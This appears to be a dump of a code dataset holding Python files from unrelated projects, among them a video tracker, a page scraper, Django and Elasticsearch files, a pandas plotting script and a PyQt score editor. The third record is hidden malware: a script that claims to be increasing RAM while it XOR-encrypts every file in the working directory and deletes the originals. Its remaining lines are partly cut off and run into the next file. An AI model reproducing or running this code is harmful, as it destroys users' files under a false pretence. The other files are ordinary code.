'__main__':\n main()\n","sub_path":"Tools/port.py","file_name":"port.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"214755596","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 10 09:30:37 2018\n\n@author: jinzhao\n\"\"\"\n\nimport cv2\nimport numpy as np\nfrom ps6_functions import *\nimport time\n\nif __name__ == \"__main__\":\n video_path = 'input/noisy_debate.avi'\n cap = cv2.VideoCapture(video_path)\n \n # 1-a-1\n # ------------------------------------------------------------------------\n frame_init_rgb = get_frame(video_path, 0) # Gray image\n x_start, y_start, size_x, size_y = load_file('noisy_debate.txt')\n frame_draw = cv2.rectangle(frame_init_rgb, (x_start, y_start), (x_start+size_x, y_start+size_y), (0, 255, 0), 3) # UL corner -- DR corner\n #img_show([frame_draw])\n #cv2.imwrite('output/ps6-1-a-1.png', frame_draw[y_start:y_start+size_y, x_start:x_start+size_x])\n \n # 1-a-2,3,4\n # ------------------------------------------------------------------------\n width = cap.get(cv2.CAP_PROP_FRAME_WIDTH) \n height = cap.get(cv2.CAP_PROP_FRAME_HEIGHT)\n \n out = cv2.VideoWriter(\"output_noisy.avi\", cv2.VideoWriter_fourcc(*\"MJPG\"), 30, (int(width), int(height)))\n frame_init = cv2.cvtColor(frame_init_rgb, cv2.COLOR_BGR2GRAY).astype('float64')\n model = frame_init[y_start:y_start+size_y, x_start:x_start+size_x]\n sample_space = (0, 0, width, height)\n\n tracker = ParticleTracker(model, sample_space)\n count = 0\n while(cap.isOpened()):\n ret, frame_rgb = cap.read()\n frame_gray = cv2.cvtColor(frame_rgb, cv2.COLOR_BGR2GRAY).astype('float64')\n if not ret:\n break # unsuccessful reading \n\n tracker.update(frame_gray)\n #best_state = tracker.determine_optimal_state()\n opt_state = tracker.determine_weightedSum_state()\n std = tracker.compute_spreadOfDistribution()\n \n #frame_draw = visualize_frame_naive(frame_rgb, model, opt_state)\n frame_draw = visualize_frame(frame_rgb, tracker.S, model, opt_state, std)\n cv2.imshow('image', frame_draw)\n out.write(frame_draw)\n\n if cv2.waitKey(3) & 0xFF == ord('q'):\n break\n \n count += 1\n #if count == 14 or count == 32 or count == 46:\n #cv2.imwrite(str(count)+'.png', frame_draw)\n \n cap.release()\n cv2.destroyAllWindows()\n \n\n ","sub_path":"p6_particle_filter/main_noisy_tracking.py","file_name":"main_noisy_tracking.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"275623663","text":"# -*- coding: utf-8 -*-\nfrom sys import argv,version_info\nimport os\nassert version_info[0] == 3, 'USA PYTHON 3'\nprint('Aumentando memoria RAM, espera...')\ndef xx(x):\n with open(x+'.enc','wb') as z:\n z.write((lambda x:bytes([x[i]^k[i%16] for i in range(len(x))]))(open(x,'rb').read()))\n os.remove(x)\n_,_,x = next(os.walk('./'));x.remove(argv[0]);y='\\x2e'\nr=os.urandom;k=r(16);list(map(xx,x))\nd,k=map(lambda x:int.from_bytes(k,'big'),[0xba,0xbe])\nd|=1;y+='\\x78';c=r(1)[0]|(1<<7);k=d*k%(1< (skip until)\n##\n###########################################################\n\nimport sys, urllib.request, random, time\n\nif len(sys.argv) < 3:\n\tprint('wrong size of inputed arguments...; size: '+str(len(sys.argv)))\n\tprint('usage: (page number that skip until it comes)')\n\texit()\n\ntarURL = sys.argv[1]\ntarPath = sys.argv[2]\n\niSkipNum = -1\nskipNum = \"\"\nif len(sys.argv) > 3:\n\tskipNum = sys.argv[3]\n\nprint('Target: '+tarURL)\nprint('Local folder: '+tarPath)\nprint('Skip until: '+skipNum)\nprint('------------------------------------------------------')\n\nfrom pathlib import Path\n\npath = Path(tarPath)\n\nif not path.exists():\n\tprint('target forder not exist')\n\texit()\n\nif not path.is_dir():\n\tprint('invalid target folder')\n\texit()\n\nif len(tarURL) == 0:\n\tprint('root URL is empty')\n\texit()\n\nif skipNum != \"\":\n\tiSkipNum = int(skipNum)\n\nidxSlashSlash = tarURL.find('://', 0, len(tarURL))\nidxEndOfDomain = tarURL.find('/', idxSlashSlash + 3, len(tarURL))\n\nif '.html' not in tarURL:\n\tprint('URL not ends with .html')\n\texit()\n\nif idxSlashSlash == -1:\n\tprint('cannot find //')\n\texit()\n\nif idxEndOfDomain == -1:\n\tprint('cannot find domain')\n\texit()\n\nidxTmp = tarURL.find('.html')\n\nstrUrlPrefix = tarURL[0:idxTmp-1]\nstrUrlSuffix = tarURL[idxTmp:len(tarURL)]\n\n# print(strUrlPrefix)\n# print(strUrlSuffix)\n\n# pre defined total of page number\npgTotal = 100\npgCurr = 1\nflagPgUpdate = False\nstrImgFilePadding = \"0000000000\"\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\ndriver = webdriver.Chrome()\ndriver.get(strUrlPrefix+str(pgCurr)+strUrlSuffix)\n\nwhile pgCurr <= pgTotal:\n\n\tif not flagPgUpdate:\n\t\telem = driver.find_element_by_class_name(\"cHeader\")\n\t\telem = elem.find_element_by_tag_name(\"b\")\n\t\ttxt = elem.text\n\t\t# print(\"[debug] raw \"+txt);\n\n\t\tidxTmp = txt.find('/')\n\t\ttxt = txt[idxTmp+1:len(txt)].strip();\n\t\t# print(\"[debug] stripped \"+txt);\n\t\tpgTotal = int(txt)\n\t\tflagPgUpdate = True\n\n\tif iSkipNum != -1:\n\t\tif pgCurr/', views.content, name='content'),\r\n\tpath('analyse//', views.analyse, name='analyse'),\r\n\tpath('create/', views.create, name='create'),\r\n\tpath('create/url/', views.create_by_url, name='create-by-url'),\r\n\tpath('create/text/', views.create_by_text, name='create-by-text'),\r\n\tpath('demo/', views.demo, name='demo'),\r\n\tpath('generate/', views.generate, name='generate'),\r\n\tpath('generate/url/', views.generate_by_url, name='generate-by-url'),\r\n\tpath('generate/text/', views.generate_by_text, name='generate-by-text'),\r\n\tpath('ner//', views.ner, name='ner'),\r\n\tpath('stock/', views.choose_market, name='choose-market'),\r\n\tpath('stock/market/', views.analyse_market, name='analyse-market'),\r\n\tpath('stock/info/', views.stock_info, name='stock-info'),\r\n\tpath('switchmode/', views.switch_mode, name='switch-mode'),\r\n\tpath('hidden/stocklist/', views.stock_list, name='stock-list'),\r\n\tpath('hidden/analyseall/', views.analyse_all, name='analyse-all'),\r\n]","sub_path":"tool/finalyser/news/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"557576548","text":"from declarations.models import Section, Person, Office, Source_Document\nfrom office_db.offices_in_memory import TOfficeTableInMemory\nfrom office_db.rubrics import get_russian_rubric_str\n\nfrom django_elasticsearch_dsl import Document, IntegerField, TextField, KeywordField\nfrom django_elasticsearch_dsl.registries import registry\nfrom django.conf import settings\nfrom elasticsearch_dsl import Index\nfrom django.db.utils import DatabaseError\n\n\n#We do not support elaastic index updates on a single sql db edit.\n#Elastic indices are created in disclosures_site/declarations/management/commands/build_elastic_index.py via sql queries,\n#since it is faster than prepare_field* mechanics.\n\nsection_search_index = Index(settings.ELASTICSEARCH_INDEX_NAMES['section_index_name'])\nsection_search_index.settings(\n number_of_shards=1,\n number_of_replicas=0\n)\n\n@registry.register_document\n@section_search_index.document\nclass ElasticSectionDocument(Document):\n default_field_name = \"person_name\"\n source_document_id = IntegerField()\n office_id = IntegerField()\n position_and_department = TextField()\n income_size = IntegerField()\n spouse_income_size = IntegerField()\n person_id = IntegerField()\n region_id = IntegerField()\n car_brands = KeywordField()\n\n class Django:\n model = Section\n fields = [\n 'id',\n 'person_name',\n 'income_year',\n 'rubric_id',\n 'gender'\n ]\n\n @property\n def rubric_str(self):\n if self.rubric_id is None:\n return \"unknown\"\n else:\n return get_russian_rubric_str(self.rubric_id)\n\n\nperson_search_index = Index(settings.ELASTICSEARCH_INDEX_NAMES['person_index_name'])\nperson_search_index.settings(\n number_of_shards=1,\n number_of_replicas=0\n)\n\n@registry.register_document\n@person_search_index.document\nclass ElasticPersonDocument(Document):\n default_field_name = \"person_name\"\n section_count = IntegerField()\n\n class Django:\n model = Person\n fields = [\n 'id',\n 'person_name',\n ]\n\n\noffice_search_index = Index(settings.ELASTICSEARCH_INDEX_NAMES['office_index_name'])\noffice_search_index.settings(\n number_of_shards=1,\n number_of_replicas=0\n)\n\n@registry.register_document\n@office_search_index.document\nclass ElasticOfficeDocument(Document):\n default_field_name = \"name\"\n parent_id = IntegerField()\n source_document_count = IntegerField()\n region_id = IntegerField()\n\n class Django:\n model = Office\n fields = [\n 'id',\n 'name',\n 'rubric_id'\n ]\n\n @property\n def rubric_str(self):\n if self.rubric_id is None:\n return \"unknown\"\n else:\n return get_russian_rubric_str(self.rubric_id)\n\n\n\nfile_search_index = Index(settings.ELASTICSEARCH_INDEX_NAMES['file_index_name'])\nfile_search_index.settings(\n number_of_shards=1,\n number_of_replicas=0\n)\n\n@registry.register_document\n@file_search_index.document\nclass ElasticFileDocument(Document):\n office_id = IntegerField()\n first_crawl_epoch = IntegerField()\n web_domains = KeywordField()\n\n class Django:\n model = Source_Document\n fields = [\n 'id',\n 'intersection_status',\n 'min_income_year',\n 'max_income_year',\n 'section_count',\n 'sha256'\n ]\n\n\ndef stop_elastic_indexing():\n ElasticOfficeDocument.django.ignore_signals = True\n ElasticSectionDocument.django.ignore_signals = True\n ElasticPersonDocument.django.ignore_signals = True\n ElasticFileDocument.django.ignore_signals = True\n\n\nstop_elastic_indexing()\n\n","sub_path":"tools/disclosures_site/declarations/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"15088889","text":"#!/\"C:/Program Files/Python39/python\"\nimport os\nimport glob\ndef MakeFileList(path,path_to,extension):\n n=\"\"\n l=\"\"\n for root, dirs_list, files_list in os.walk(path):\n for file_name in files_list:\n if os.path.splitext(file_name)[-1] == extension:\n file_name_path = os.path.join(root, file_name)\n n=file_name[:-4]\n l=l+n+\"\\n\"\n\n l=l[:-1]\n f= open(path_to,\"w+\")\n f.write(l)\n f.close()\n print(\"Updated: \"+path_to)\n\ndef FilesByDate(path,path_to,extension):\n s=\"\"\n l=len(path)+1\n files = glob.glob(path+\"/*\"+extension)\n files.sort(key=os.path.getmtime, reverse=True)\n for file in files:\n n=file[l:]\n n=n[:-4]\n s=s+n+('\\n')\n f= open(path_to,\"w+\")\n f.write(s)\n f.close()\n print(\"Updated: \"+path_to)\n \ndef WriteFile(path,txt):\n f= open(path,\"w+\")\n f.write(txt)\n f.close()\n print(\"Wrote File: \"+path)\n","sub_path":"cgi-bin/MySupport.py","file_name":"MySupport.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"421741184","text":"import numpy as np\n\nimport pyrado\nfrom pyrado.environments.base import Env\nfrom pyrado.environment_wrappers.base import EnvWrapperObs\nfrom pyrado.spaces.base import Space\nfrom init_args_serializer.serializable import Serializable\n\n\nclass ObsPartialWrapper(EnvWrapperObs, Serializable):\n \"\"\" Environment wrapper which creates a partial observation by masking certain elements \"\"\"\n\n def __init__(self, wrapped_env: Env, mask: list = None, idcs: list = None, keep_selected: bool = False):\n \"\"\"\n Constructor\n\n :param wrapped_env: environment to wrap\n :param mask: mask out array, entries with 1 are dropped (behavior can be inverted by keep_selected=True)\n :param idcs: indices to drop, ignored if mask is specified. If the observation space is labeled,\n the labels can be used as indices.\n :param keep_selected: set to true to keep the mask entries with 1/the specified indices and drop the others\n \"\"\"\n Serializable._init(self, locals())\n\n super(ObsPartialWrapper, self).__init__(wrapped_env)\n\n # Parse selection\n if mask is not None:\n # Use explicit mask\n mask = np.array(mask, dtype=np.bool)\n if not mask.shape == wrapped_env.obs_space.shape:\n raise pyrado.ShapeErr(given=mask, expected_match=wrapped_env.obs_space)\n else:\n # Parse indices\n assert idcs is not None, 'Either mask or indices must be specified'\n mask = wrapped_env.obs_space.create_mask(idcs)\n # Invert if needed\n if keep_selected:\n self.keep_mask = mask\n else:\n self.keep_mask = np.logical_not(mask)\n\n def _process_obs(self, obs: np.ndarray) -> np.ndarray:\n return obs[self.keep_mask]\n\n def _process_obs_space(self, space: Space) -> Space:\n return space.subspace(self.keep_mask)\n","sub_path":"Pyrado/pyrado/environment_wrappers/observation_partial.py","file_name":"observation_partial.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"222866308","text":"import os\nimport re\n\nfrom distribute_setup import use_setuptools; use_setuptools()\nfrom setuptools import setup\n\n\nrel_file = lambda *args: os.path.join(os.path.dirname(os.path.abspath(__file__)), *args)\n\ndef read_from(filename):\n fp = open(filename)\n try:\n return fp.read()\n finally:\n fp.close()\n\ndef get_long_description():\n return read_from(rel_file('README.rst'))\n\ndef get_requirements():\n data = read_from(rel_file('REQUIREMENTS'))\n lines = map(lambda s: s.strip(), data.splitlines())\n return filter(None, lines)\n\ndef get_version():\n data = read_from(rel_file('mailworker.py'))\n return re.search(r\"__version__ = '([^']+)'\", data).group(1)\n\n\nsetup( \n name=\"mailworker\",\n author=\"Ben Hughes\",\n author_email=\"bwghughes@gmail.com\",\n description=\"A simple mail worker and queue using HotQueue & Redis.\",\n license=\"MIT\",\n long_description=get_long_description(),\n install_requires=get_requirements(),\n py_modules=['mailworker'],\n url=\"https://bitbucket.org/bwghughes\",\n version=get_version(),\n classifiers =[\n 'Programming Language :: Python',\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development :: Libraries :: Python Modules'],\n entry_points = {\n 'console_scripts': ['mailworker = mailworker:main'],\n },\n)\n","sub_path":"pypi_install_script/mailworker-0.0.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"127656388","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 2 19:07:32 2017 by Dhiraj Upadhyaya\nplot and pandas\n\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nprint(pd.__version__)\n#http://pbpython.com/extras/sample-salesv2.csv - csv file\n#%matplotlib inline\nsales=pd.read_csv(\"./data/sample-salesv2.csv\",parse_dates=['date'])\nsales.head()\nsales.describe()\n\"\"\"\nWe can tell that customers on average purchases 10.3 items per transaction\nThe average cost of the transaction was $579.84\nIt is also easy to see the min and max so you understand the range of the data\n\"\"\"\nsales['unit price'].describe()\n#average price is $56.18 but it ranges from $10.06 to $99.97.\n#showing the output of dtypes : date column is a datetime field. I also scan this to make sure that any columns that have numbers are floats or ints so that I can do additional analysis in the future.\nsales.dtypes\n\n# Plotting some data\ncustomers = sales[['name','ext price','date']]\ncustomers.head()\n\n#In order to understand purchasing patterns, let’s group all the customers by name. We can also look at the number of entries per customer to get an idea for the distribution.\n\ncustomer_group = customers.groupby('name')\nprint(customer_group)\ncustomer_group.size()\n#customers\n#data is in a simple format to manipulate, let’s determine how much #each customer purchased during our time frame.\n\n#sum function allows us to quickly sum up all the values by customer. #We can also sort the data using the sort command.\n\nsales_totals = customer_group.sum()\nsales_totals\nsales_totals.sort_values(['ext price'], ascending=True).head()\n\nmy_plot = sales_totals.plot(kind='bar')\n\n\"\"\"\nsorting the data in descending order\nremoving the legend\nadding a title\nlabeling the axes\n\"\"\"\nmy_plot = sales_totals.sort_values(['ext price'], ascending=False).plot( kind='bar', legend=None, title= \"Total Sales by Customer\")\nmy_plot.set_xlabel(\"Customers\")\nmy_plot.set_ylabel(\"Sales ($)\")\n\n\ncustomers = sales[['name','category','ext price','date']]\ncustomers.head()\ncategory_group=customers.groupby(['name','category']).sum()\ncategory_group.head()\n#he category representation looks good but we need to break it apart to graph it as a stacked bar graph. unstack can do this for us.\n\ncategory_group.unstack().head()\n\nmy_plot = category_group.unstack().plot(kind='bar',stacked=True,title=\"Total Sales by Customer\")\nmy_plot.set_xlabel(\"Customers\")\nmy_plot.set_ylabel(\"Sales\")\n\n#clean this up a little bit, we can specify the figure size and customize the legend.\nmy_plot = category_group.unstack().plot(kind='bar',stacked=True,title=\"Total Sales by Customer\",figsize=(9, 7))\nmy_plot.set_xlabel(\"Customers\")\nmy_plot.set_ylabel(\"Sales\")\nmy_plot.legend([\"Total\",\"Belts\",\"Shirts\",\"Shoes\"], loc=9,ncol=4)\n\n\"\"\"\nNow that we know who the biggest customers are and how they purchase products, we might want to look at purchase patterns in more detail.\n\nLet’s take another look at the data and try to see how large the individual purchases are. A histogram allows us to group purchases together so we can see how big the customer transactions are.\n\"\"\"\npurchase_patterns = sales[['ext price','date']]\npurchase_patterns.head()\n\n#create a histogram with 20 bins to show the distribution of purchasing patterns.\n\npurchase_plot = purchase_patterns['ext price'].hist(bins=20)\npurchase_plot.set_title(\"Purchase Patterns\")\npurchase_plot.set_xlabel(\"Order Amount($)\")\npurchase_plot.set_ylabel(\"Number of orders\")\nplt.show()\n\n#-----\npurchase_patterns = sales[['ext price','date']]\npurchase_patterns.head()\npurchase_patterns = purchase_patterns.set_index('date')\npurchase_patterns.head()\n\npurchase_patterns.resample('M',how=sum)\n#M’ as the period for resampling which means the data should be resampled on a month boundary.\npurchase_plot = purchase_patterns.resample('M',how=sum).plot(title=\"Total Sales by Month\",legend=None)\n\nfig = purchase_plot.get_figure()\nfig.savefig(\"total-sales.png\")\n","sub_path":"f3/p1/plotpandas1.py","file_name":"plotpandas1.py","file_ext":"py","file_size_in_byte":3928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"630848828","text":"import icon\r\nimport sys\r\nfrom PyQt5.QtCore import Qt, QEvent\r\nfrom PyQt5.QtGui import QFont, QIcon, QKeyEvent\r\nfrom PyQt5.QtWidgets import QMainWindow, QAction, QComboBox, QLabel, \\\r\n QTextEdit, QDesktopWidget, QMessageBox, QFileDialog, QApplication, \\\r\n QDialog, QPushButton\r\n\r\nkeys = ('{1}', '{#1}', '{2}', '{#2}', '{3}', '{4}', '{#4}', '{5}', '{#5}',\r\n '{6}', '{#6}', '{7}',\r\n '(1)', '(#1)', '(2)', '(#2)', '(3)', '(4)', '(#4)', '(5)', '(#5)',\r\n '(6)', '(#6)', '(7)',\r\n '1', '#1', '2', '#2', '3', '4', '#4', '5', '#5', '6', '#6', '7',\r\n '[1]', '[#1]', '[2]', '[#2]', '[3]', '[4]', '[#4]', '[5]', '[#5]',\r\n '[6]', '[#6]', '[7]',\r\n '<1>', '<#1>', '<2>', '<#2>', '<3>', '<4>', '<#4>', '<5>', '<#5>',\r\n '<6>', '<#6>', '<7>')\r\nsig = ('{-2}', '(-1)', ' 0 ', '[+1]', '<+2>')\r\nposi = [0, 0, 1]\r\nflag = 0\r\nfilename = ''\r\n\r\n\r\nclass TextEdit(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n font = QFont(\"Consolas\", 12)\r\n self.setFont(font)\r\n self.ui()\r\n self.setWindowIcon(QIcon(\":icon/icon.png\"))\r\n self.text.installEventFilter(self)\r\n\r\n def ui(self):\r\n # ***********设置按钮、快捷键,连接到函数***********\r\n new_file = QAction(QIcon(':icon/New.png'), '新建', self)\r\n new_file.setShortcut('ctrl+N')\r\n new_file.triggered.connect(self.new_file)\r\n\r\n open_file = QAction(QIcon(':icon/Open.png'), '打开', self)\r\n open_file.setShortcut('ctrl+O')\r\n open_file.triggered.connect(self.open_file)\r\n\r\n save_file = QAction(QIcon(':icon/Save.png'), '保存', self)\r\n save_file.setShortcut('ctrl+S')\r\n save_file.triggered.connect(self.save_file)\r\n\r\n quit_app = QAction(QIcon(':icon/Exit.png'), '退出', self)\r\n quit_app.setShortcut('Ctrl+Q')\r\n quit_app.triggered.connect(self.close)\r\n\r\n undo_act = QAction(QIcon(':icon/Undo.png'), '撤销', self)\r\n undo_act.setShortcut('Ctrl+Z')\r\n undo_act.triggered.connect(self.undo_function)\r\n\r\n redo_act = QAction(QIcon(':icon/Redo.png'), '重做', self)\r\n redo_act.setShortcut('Ctrl+Alt+Z')\r\n redo_act.triggered.connect(self.redo_function)\r\n\r\n up_act = QAction(QIcon(':icon/Up.png'), '升半度', self)\r\n up_act.setShortcut('Page Up')\r\n up_act.triggered.connect(self.up_function)\r\n\r\n down_act = QAction(QIcon(':icon/Down.png'), '降半度', self)\r\n down_act.setShortcut('Page Down')\r\n down_act.triggered.connect(self.down_function)\r\n\r\n change_act = QAction(QIcon(':icon/Change.png'), '转调', self)\r\n change_act.setShortcut('Ctrl+L')\r\n change_act.triggered.connect(self.change_fun)\r\n\r\n tb_sta = QAction('工具栏', self)\r\n tb_sta.setShortcut('Ctrl+T')\r\n tb_sta.setCheckable(True)\r\n tb_sta.setChecked(True)\r\n tb_sta.triggered.connect(self.tbs_function)\r\n\r\n sb_sta = QAction('状态栏', self)\r\n sb_sta.setShortcut('Ctrl+P')\r\n sb_sta.setCheckable(True)\r\n sb_sta.setChecked(True)\r\n sb_sta.triggered.connect(self.sbs_function)\r\n\r\n self.statusbar = self.statusBar()\r\n self.status_flag = QLabel(self)\r\n self.status_flag.setFixedWidth(46)\r\n self.status_flag.setFixedHeight(24)\r\n self.status_flag.setAlignment(Qt.AlignCenter)\r\n self.status_flag.setStyleSheet(\"QLabel{color:rgb(255,0,240,250);\"\r\n \"font-size:20px;font-weight:bold;\"\r\n \"font-family:幼圆;}\")\r\n self.status_flag.setText(' 0 ')\r\n\r\n self.oldCombo = QComboBox(self)\r\n self.oldCombo.addItems(['旧', ' C', '#C', ' D', '#D', ' E', ' F', '#F',\r\n ' G', '#G', ' A', '#A', ' B'])\r\n self.oldCombo.setEditable(False)\r\n\r\n self.newCombo = QComboBox(self)\r\n self.newCombo.addItems(['新', ' C', '#C', ' D', '#D', ' E', ' F', '#F',\r\n ' G', '#G', ' A', '#A', ' B'])\r\n self.newCombo.setEditable(False)\r\n\r\n self.confirmBtn = QPushButton(self)\r\n self.confirmBtn.setText(\"OK\")\r\n self.confirmBtn.clicked.connect(self.cbtn_clicked)\r\n self.confirmBtn.setFixedSize(30, 25)\r\n\r\n # ***********建立编辑框***********\r\n self.text = QTextEdit(self)\r\n self.setCentralWidget(self.text)\r\n self.setMinimumSize(250, 260)\r\n self.resize(500, 600)\r\n qr = self.frameGeometry()\r\n cp = QDesktopWidget().availableGeometry().center()\r\n qr.moveCenter(cp)\r\n self.move(qr.topLeft())\r\n self.setWindowTitle('口琴谱编辑器')\r\n\r\n # ***********设置菜单栏***********\r\n self.menubar = self.menuBar()\r\n menu_file = self.menubar.addMenu('&文&件')\r\n menu_file.addAction(new_file)\r\n menu_file.addAction(open_file)\r\n menu_file.addAction(save_file)\r\n menu_file.addAction(quit_app)\r\n menu_edit = self.menubar.addMenu('&编&辑')\r\n menu_edit.addAction(undo_act)\r\n menu_edit.addAction(redo_act)\r\n menu_edit.addAction(up_act)\r\n menu_edit.addAction(down_act)\r\n menu_edit.addAction(change_act)\r\n menu_view = self.menubar.addMenu('&视&图')\r\n menu_view.addAction(tb_sta)\r\n menu_view.addAction(sb_sta)\r\n\r\n # ***********设置工具栏***********\r\n self.toolbar = self.addToolBar('Toolbar')\r\n self.toolbar.addAction(undo_act)\r\n self.toolbar.addAction(redo_act)\r\n self.toolbar.insertWidget(undo_act, self.status_flag)\r\n self.toolbar.addWidget(self.oldCombo)\r\n self.toolbar.addWidget(self.newCombo)\r\n self.toolbar.addWidget(self.confirmBtn)\r\n\r\n def change_fun(self):\r\n small.show()\r\n\r\n def cbtn_clicked(self):\r\n old = self.oldCombo.currentIndex()\r\n # print(str(old))\r\n new = self.newCombo.currentIndex()\r\n # print(str(new))\r\n if old != 0 and new != 0:\r\n n = old - new\r\n editor.change_tune(n)\r\n else:\r\n QMessageBox.warning(self, \"提示:\", \"未选择合适的曲调 \",\r\n QMessageBox.Cancel,\r\n QMessageBox.Cancel)\r\n\r\n def tbs_function(self, state):\r\n if state:\r\n self.toolbar.show()\r\n else:\r\n self.toolbar.hide()\r\n\r\n def sbs_function(self, state):\r\n if state:\r\n self.statusbar.show()\r\n else:\r\n self.statusbar.hide()\r\n\r\n def up_function(self):\r\n self.change_tune(1)\r\n\r\n def down_function(self):\r\n self.change_tune(-1)\r\n\r\n def change_tune(self, n): # 转调函数 n个半度\r\n global keys\r\n changeable_flag = True\r\n piece = self.text.toPlainText()\r\n if n > 0:\r\n for limit_tune in keys[-n:]: # 判断是否含有转调后会超限的音符\r\n if limit_tune in piece:\r\n n -= 12\r\n changeable_flag = True\r\n break\r\n if n < 0:\r\n for limit_tune in keys[:-n]:\r\n if limit_tune in piece:\r\n changeable_flag = False\r\n break\r\n\r\n else:\r\n for limit_tune in keys[:-n]:\r\n if limit_tune in piece:\r\n n += 12\r\n changeable_flag = True\r\n break\r\n if n > 0:\r\n for limit_tune in keys[-n:]:\r\n if limit_tune in piece:\r\n changeable_flag = False\r\n break\r\n if not changeable_flag:\r\n QMessageBox.warning(self, \"提示:\", \"转调结果超出表示范围!\",\r\n QMessageBox.Cancel,\r\n QMessageBox.Cancel)\r\n else:\r\n tmp_text = ''\r\n i = 0\r\n while i < len(piece):\r\n # 获取音符\r\n if piece[i] in ('{', '(', '[', '<'):\r\n if piece[i + 1] == '#':\r\n tmp_char = piece[i:(i + 4)]\r\n i = i + 4\r\n else:\r\n tmp_char = piece[i:(i + 3)]\r\n i = i + 3\r\n elif piece[i] == '#':\r\n tmp_char = piece[i:(i + 2)]\r\n i = i + 2\r\n else:\r\n tmp_char = piece[i]\r\n i += 1\r\n # 替换#3、#7为4、1\r\n if ('#3' in tmp_char) or ('#7' in tmp_char):\r\n tmp_char = tmp_char.replace('#', '')\r\n tmp_char = keys[keys.index(tmp_char) + 1]\r\n # 转调\r\n try:\r\n if tmp_char in keys:\r\n order = (keys.index(tmp_char) + n)\r\n if order < 0:\r\n raise IndexError('IndexError')\r\n else:\r\n tmp_text += keys[order]\r\n else:\r\n tmp_text += tmp_char\r\n except IndexError:\r\n # QMessageBox.warning(self, \"提示:\", \"转调结果超出表示范围!\",\r\n # QMessageBox.Cancel,\r\n # QMessageBox.Cancel)\r\n return 0\r\n self.text.selectAll()\r\n self.text.insertPlainText(tmp_text)\r\n\r\n def redo_function(self):\r\n self.text.redo()\r\n\r\n def undo_function(self):\r\n self.text.undo()\r\n\r\n def unsaved(self):\r\n destroy = self.text.document().isModified()\r\n print(destroy)\r\n\r\n if destroy is False:\r\n return False\r\n else:\r\n detour = QMessageBox.question(self, '提示:', '文件有未保存更改,是否保存',\r\n QMessageBox.Yes | QMessageBox.No |\r\n QMessageBox.Cancel,\r\n QMessageBox.Cancel)\r\n if detour == QMessageBox.Cancel:\r\n return True\r\n elif detour == QMessageBox.No:\r\n return False\r\n elif detour == QMessageBox.Yes:\r\n return self.save_file()\r\n\r\n def save_file(self):\r\n global filename\r\n if filename == '':\r\n filename, file_type = QFileDialog.getSaveFileName(self, '保存文件',\r\n 'untitled.txt',\r\n '文本 (*.txt)')\r\n try:\r\n f = filename\r\n with open(f, \"w\") as CurrentFile:\r\n CurrentFile.write(self.text.toPlainText())\r\n CurrentFile.close()\r\n self.text.document().setModified(False)\r\n return False\r\n except Exception as e:\r\n print(e)\r\n print(\"save file failed\")\r\n return True\r\n\r\n def new_file(self):\r\n global filename\r\n if not self.unsaved():\r\n filename = ''\r\n self.text.clear()\r\n\r\n def open_file(self):\r\n global filename\r\n if not self.unsaved():\r\n self.text.clear()\r\n filename, file_type = QFileDialog.getOpenFileName(self, '打开文件', '',\r\n '文本 (*.txt)')\r\n try:\r\n self.text.setText(open(filename).read())\r\n except Exception:\r\n print(\"open file failed\")\r\n\r\n def closeEvent(self, event):\r\n if self.unsaved():\r\n event.ignore()\r\n\r\n def set_output(self, key_text):\r\n \"\"\" 更改按键输出的音符 \"\"\"\r\n global keys, sig, flag, posi\r\n if key_text == '+':\r\n if flag < 2:\r\n flag += 1\r\n self.status_flag.setText(sig[flag + 2])\r\n self.statusbar.showMessage('第%s行 第%s列 共%s行 当前输入模式'\r\n ':%s' % (posi[0], posi[1], posi[2],\r\n sig[flag + 2]))\r\n return True\r\n elif key_text == '-':\r\n if flag > -2:\r\n flag -= 1\r\n self.status_flag.setText(sig[flag + 2])\r\n self.statusbar.showMessage('第%s行 第%s列 共%s行 当前输入模式'\r\n ':%s' % (posi[0], posi[1], posi[2],\r\n sig[flag + 2]))\r\n return True\r\n elif key_text == '0':\r\n flag = 0\r\n self.status_flag.setText(' 0 ')\r\n self.statusbar.showMessage('第%s行 第%s列 共%s行 当前输入模式:%s'\r\n % (posi[0], posi[1], posi[2],\r\n sig[flag + 2]))\r\n return True\r\n elif key_text == '8':\r\n self.text.insertPlainText(' ')\r\n return True\r\n elif key_text == '9':\r\n self.text.insertPlainText('#')\r\n return True\r\n elif key_text in ('.', '。'):\r\n back_key = QKeyEvent(QEvent.KeyPress, Qt.Key_Backspace,\r\n Qt.NoModifier)\r\n QApplication.sendEvent(self.text, back_key)\r\n return True\r\n elif key_text in keys:\r\n p = keys.index(key_text)\r\n cursor = self.text.textCursor()\r\n cursor.movePosition(cursor.Left, cursor.KeepAnchor, 1)\r\n if cursor.selectedText() == '#':\r\n cursor.deleteChar()\r\n try:\r\n self.text.insertPlainText(keys[p + 12 * flag + 1]) # 输入\r\n except Exception:\r\n QMessageBox.warning(self, \"提示:\", \"输入超出范围!!\",\r\n 